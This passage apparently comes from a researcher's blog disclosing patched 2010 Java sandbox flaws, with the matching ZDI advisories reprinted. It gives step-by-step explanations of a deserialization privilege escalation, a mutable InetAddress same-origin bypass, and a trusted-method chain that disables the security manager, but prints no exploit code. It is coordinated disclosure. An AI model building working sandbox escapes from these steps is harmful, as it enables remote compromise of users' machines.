Broken. It is possible to call ObjectInputStream.defaultReadObject externally along with a combination of phantom superclass and repeated field.

Conclusion

I'll put my code where my mouth is in future posts. The serialization framework is extremely complex and extremely powerful in that creates objects without calling constructors and sets values to fields that might be private and or final. This combination is a dangerous one for security.

Wednesday, April 28, 2010

Mutable InetAddress Socket Policy Violation (ZDI-10-055/CVE-2010-0095)

Relevant Identifiers:
ZDI-10-055, CVE-2010-0095


Impact:
Violation of Same Origin Policy, allowing unsigned applets to connect to any host.


Oracle Java Patch:
http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html


Details:
This is a low-impact, but technically somewhat interesting vulnerability.

java.net.InetAddress is a public, non-final, serializable class. It has a package-private constructor.

If one was to respect compiler errors, it would not be possible to create a subclass of InetAddress in another package, because creating a legal constructor for the subclass is impossible. But it turns out one does not need a legal constructor. As the superclass is serializable, the subclass constructor never gets called and never gets verified by the run-time. No tricks are required for creating the subclass. For example, Eclipse compiler will compile the rest of the class normally and create a constructor that just throws an exception.

In the case of InetAddress this allows us to create a subclass which is a mutable InetAddress. In other words, give the same origin policy check one value, and use another value when doing the actual connection. Nothing as complicated as timing is required as the SOP check uses the getHostAddress() method, while the actual connection uses the private address field, which can be deserialized into having any desirable value.

The Fix:
Update 19 added a readObject method to the InetAddress class, which throws a SecurityException if the instance being read was not loaded by the null ClassLoader.

Tuesday, April 27, 2010

Symantec on ZDI-10-051 and ZDI-10-056

An interesting piece on the Symantec blog by Adrian Pisarczyk on ZDI-10-051 (CVE-2010-0094) and ZDI-10-056 (CVE-2010-0840).

"Perfect" Client-Side Vulnerabilities
The first property, which makes such issues attractive for attackers, stems from the fact that they do not rely on any memory-corruption conditions; hence, the exploits are extremely reliable and do not have to cope with memory protection mechanisms. ASLR and DEP-based protections will not protect against the exploits.

...

Another uncommon vulnerability feature sought after by attackers is platform and browser independence.
Not to take absolutely anything away from it, but Adrian's analysis makes much of the same, valid points as Julien Tinnes' post from about a year back on the calendar deserialization issue:

Write Once, Own Everyone
...most other client-side vulnerabilities that can lead to arbitrary code execution, including other Java vulnerabilities are memory corruption vulnerabilities in a component written in native code. Exploiting those reliably can be hard. Especially if you have to deal with multiple operating system versions or with PaX-like protections such as DEP and ASLR.
This one is a pure Java vulnerability. This means you can write a 100% reliable exploit in pure Java. This exploit will work on all the platforms, all the architectures and all the browsers!

Wednesday, April 14, 2010

Java RMIConnectionImpl Deserialization Privilige Escalation (ZDI-10-051/CVE-2010-0094)

Relevant Identifiers:
ZDI-10-051, CVE-2010-0094


Impact:
Privilege escalation of the Java security sandbox. The most obvious target is the Java Runtime running Java Applets, JavaFX and Java Web Start applications in a web browser. Untrusted code will gain full privileges of the user executing the browser process.


Oracle Java Patch:
http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html


Steps to remedy:
Update to Java 6 update 19


Details:
Deserialization of untrusted data from a privileged context has been established as a security vulnerability (Sami Koivu, Julien Tinnes, securecoding.cert.org).

javax.management.remote.rmi.RMIConnectionImpl does privileged deserialization of objects from user supplied data.

More specifically;

-The public createMBean method calls the private unwrap method
-The unwrap method has a doPrivileged block which calls the get method of a java.rmi.MarshalledObject instance
-The get method deserializes an object from an internal byte array
-The byte array can be made to contain a serialized custom ClassLoader (ClassLoader subclass)
-The custom ClassLoader can create classes with full privileges

As with CVE-2008-5353, the trick is that ClassLoader is not Serializable, but the subclass can be made Serializable and in the deserialization process, the first non-serializable superclass constructor is called with the security context of the code doing the deserialization. Even though the subclass is untrusted, the context is privileged, so the security checks of the ClassLoader constructor are passed. Immediately after the deserialization, a ClassCastException is thrown because the code assumes the read object to be an Object array, but this is irrelevant, because an instance to the ClassLoader can be obtained during the deserialization process, by defining a readObject method.

A Brief History of Privileged Deserialization:
August, 2008:
The first known instance of Privileged Deserialization was found in the Calendar class.

December, 2008:
Java 6 update 11 fixes the Calendar Deserialization vulnerability.

March, 2009:
Java 6 update 13 fixes a Privileged Deserialization issue that is not attributed to anyone:

CR 6646860: A security vulnerability in the Java Plug-in with deserializing applets may allow an untrusted applet to escalate privileges. For example, an untrusted applet may grant itself permissions to read and write local files or execute local applications that are accessible to the user running the untrusted applet.
This had to do with a little used option in the APPLET tag. The object parameter can be used to specify a serialized (saved) representation of the applet. Turns out this deserialization used to take place in a privileged context prior to Java 6 update 13.

March, 2010:
Java 6 update 19 fixes a Privileged Deserialization issue in RMIConnectionImpl

The Fix:
The RMIConnectionImpl class was altered to leave the deserialization outside of the privileged block. Only setting current context classloader is done in a privileged block. This eliminates this particular privileged deserialization instance.

Thursday, April 08, 2010

Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056)

Relevant Identifiers:
ZDI-10-056, CVE-2010-0840


Impact:
Privilege escalation of the Java security sandbox. The most obvious target would be the Java Runtime running Java Applets, JavaFX and Java Web Start applications in a web browser. Untrusted code will gain full privileges of the user executing the browser process.


Oracle Java Patch:
http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html


Steps to remedy:
Update to Java 6 update 19


Details:
Java code originating from the Java core classes in the JRE/lib directory is considered trusted.

Java code originating from an unsigned Java applet is considered untrusted.

When Java evaluates privileges for any given operation, it considers the whole method call stack.

For each item on the stack, the privileges of the class that defined the method in question are considered. Thus, if class Foo defines method call() and class Bar is a subclass of Foo, and an instance of Bar is on the stack, and the method is call(), the privileges of Foo, not Bar, are considered.

It is possible to implement interface methods with methods inherited from a superclass; For example, if interface CacheItem has void method delete() and class Folder, which implements no interfaces, has a method with a compatible signature, it is possible to create a concrete class FolderPosingAsACacheItem which extends the Folder class, and implements the CacheItem (with the inherited method) without defining any methods of its own.

There are hundreds (thousands?) of trusted classes in the Java core that call methods on objects which can be defined by untrusted code either directly, via sub-classing or via deserialization.

These methods can be arranged in such a way that a trusted thread (such as one of the event threads) may be chained into calling method A which calls method B which calls method C ... which calls method Z. As only trusted code will be on the calling stack, the privileged context of the trusted thread is maintained. If one finds a method Z that does something interesting, such as a parameterizable method invocation via reflection, that invocation will take place in a privileged context.

This is very bad because it means that security relies that there not exist harmful combinations of methods signatures; something that is not feasible to control, as opposed to the very controlled model of having a number of doPrivileged blocks which are known to be dangerous, but relatively easy to control.

ZDI-10-056/CVE-2010-0840 leverages this by creating a trusted chain as follows:

- instantiate a vuln.Link (subclass of java.beans.Expression) pointing the invoke params to class: java.lang.System, method setSecurityManager, args: null
- instantiate a new java.util.HashSet and put the vuln.Link (which is also a Map.Entry) in the Set
- instantiate an anonymous subclass of HashMap where the entrySet method returns the instance defined above
- instantiate a javax.swing.JList object, passing the HashMap instance defined above as the list contents
- add the JList on any visible component (such as the applet itself)

And here's what happens when the digital Rube Goldberg machine is set into motion:

- the GUI thread wants to draw the JList and calls JList.paint(Graphics)
- JList while drawing itself, calls toString on the list contents, including said anonymous subclass of HashMap
- HashMap inherits AbstractMap's toString method which calls entrySet().iterator() and iterates the resulting Set, calling getValue on each Entry
- one of the Entry objects returned by the implementation is a subclass of Statement, which implements the Entry interface's getValue() method with the Statement.getValue()
- Expression.getValue() calls Statement.invoke()
- Statement.invoke() has been parametrized to call System.setSecurityManager(null) via reflection

...and Java security gets switched off.

Safety First:
The vuln.Link class cannot be created with a normal Java compiler. Hopefully that'll keep the virus writers at bay, while the details enlighten the security community.

The Fix:
Based on my very brief analysis, Java 6 update fixes this problem by altering the Statement.invoke() to use the AccessControlContext captured at the moment of instantiation when it uses the reflection.

Monday, April 05, 2010

Java Security Updates

Zero Day Initiative has released three Advisories relating to vulnerabilities I discovered last year. Here are the original advisories, more details to follow shortly.

Sun Java Runtime RMIConnectionImpl Privileged Context Remote Code Execution Vulnerability

ZDI-10-051: April 5th, 2010

CVE ID

Affected Vendors

Affected Products

TippingPoint™ IPS Customer Protection

TippingPoint IPS customers are protected against this vulnerability by Digital Vaccine protection filter ID 9591. For further product information on the TippingPoint IPS:

Vulnerability Details

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of the Sun Java Runtime Environment. User interaction is required to exploit this vulnerability in that the target must visit a malicious website.

The specific flaw exists within the deserialization of RMIConnectionImpl objects. Due to a lack of privilege checks during deserialization it is possible to supply privileged code in the ClassLoader of a constructor being deserialized. This allows for a remote attacker to call system level Java functions without proper sandboxing. Exploitation of this can lead to remote system compromise under the context of the currently logged in user.

Vendor Response

Sun Microsystems has issued an update to correct this vulnerability. More details can be found at:

Disclosure Timeline

    2009-10-21 - Vulnerability reported to vendor
    2010-04-05 - Coordinated public release of advisory

Credit

This vulnerability was discovered by: Sami Koivu




Sun Java Runtime Environment Mutable InetAddress Socket Policy Violation Vulnerability

ZDI-10-055: April 5th, 2010

CVE ID

Affected Vendors

Affected Products

Vulnerability Details

This vulnerability allows remote attackers to violate security policies on vulnerable installations of Sun Java Runtime. User interaction is required to exploit this vulnerability in that the target must run a malicious applet.

The specific flaw allows malicious applets to connect to network addresses other than the originating applet and client IPs. A handcrafted applet can override compile time checks to prevent compilation of a mutable InetAddress subclass. This results in the ability to circumvent the Applet SecurityManager restictions.

Vendor Response

Sun Microsystems has issued an update to correct this vulnerability. More details can be found at:

Disclosure Timeline

    2009-10-21 - Vulnerability reported to vendor
    2010-04-05 - Coordinated public release of advisory

Credit

This vulnerability was discovered by: Sami Koivu




Sun Java Runtime Environment Trusted Methods Chaining Remote Code Execution Vulnerability

ZDI-10-056: April 5th, 2010

CVE ID

Affected Vendors

Affected Products

Vulnerability Details

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Sun Java Runtime. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the code responsible for ensuring proper privileged execution of methods. If an untrusted method in an applet attempts to call a method that requires privileges, Java will walk the call stack and for each entry verify that the method called is defined within a class that has that privilege. However, this does not take into account an untrusted object that has extended the trusted class without overwriting the target method. Additionally, this can be bypassed by abusing a similar trust issue with interfaces. An attacker can leverage these insecurities to execute vulnerable code under the context of the user invoking the JRE.

Vendor Response

Sun Microsystems has issued an update to correct this vulnerability. More details can be found at:

Disclosure Timeline

    2009-11-24 - Vulnerability reported to vendor
    2010-04-05 - Coordinated public release of advisory

Credit

This vulnerability was discovered by: Sami Koivu